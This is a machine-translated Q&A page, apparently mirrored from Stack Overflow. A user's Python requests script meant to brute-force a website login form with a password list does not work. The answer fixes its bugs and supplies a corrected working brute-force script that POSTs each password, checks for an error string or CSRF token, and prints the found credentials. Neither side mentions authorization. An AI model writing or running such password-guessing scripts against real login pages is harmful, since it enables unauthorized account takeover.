我的暴力破解失败了 - Python 请求

问题描述 投票:0回答:1

我有这个 python 代码似乎不起作用。我的passwords.txt 文件包含三个密码;错误密码、正确密码、错误密码。

似乎没有捕获到正确的密码;我还有其他方法可以抓住它吗?问题可能出在其他地方吗(例如,找不到文本字段)?


import requests
url = "http:website.login"
username = "username"
error = "Password Error"

try:
    def bruteCracking(username,url,error):
        for password in passwords:
            password = password.strip()
            print("Trying:" + password)
            data_dict = {"text": username,"password": password,"button":"btnEntrar"}         
            response = requests.post(url, data=data_dict)
            if error in str(response.content):
               pass
            elif "csrf" in str(response.content):
                 print("CSRF Token Detected!! BruteF0rce Not Working This Website.")
                 exit()
            else:
                 print("Username: ---> " + username)
                 print("Password: ---> " + password)
                 exit()
except:
       print("Some Error Occurred Please Check Your Internet Connection!")
        
with open("passwords.txt", "r") as passwords:
     bruteCracking(username,url,error)

btnEntrar
是按钮的名称,对象类型不是
submit
,而是
button

python python-requests ui-automation brute-force
1个回答
0
投票

当前的实施存在一些问题。首先,变量密码未使用文件“passwords.txt”的内容正确初始化。其次,函数 bruteCracking 是在 try 块内定义的,这使得它在块外无法访问。这是代码的修改版本,应该可以工作

import requests

url = "http:website.login"
username = "username"
error = "Password Error"

def bruteCracking(username, url, error, passwords):
    try:
        for password in passwords:
            password = password.strip()
            print("Trying: " + password)
            data_dict = {"text": username, "password": password, "button": "btnEntrar"}         
            response = requests.post(url, data=data_dict)
            if error in str(response.content):
                pass
            elif "csrf" in str(response.content):
                print("CSRF Token Detected!! BruteForce Not Working This Website.")
                exit()
            else:
                print("Username: ---> " + username)
                print("Password: ---> " + password)
                exit()
    except Exception as e:
        print("Some Error Occurred: ", e)

try:
    with open("passwords.txt", "r") as passwords_file:
        passwords = passwords_file.readlines()
        bruteCracking(username, url, error, passwords)
except FileNotFoundError:
    print("Passwords file not found.")
except Exception as e:
    print("Some Error Occurred: ", e)
© www.soinside.com 2019 - 2024. All rights reserved.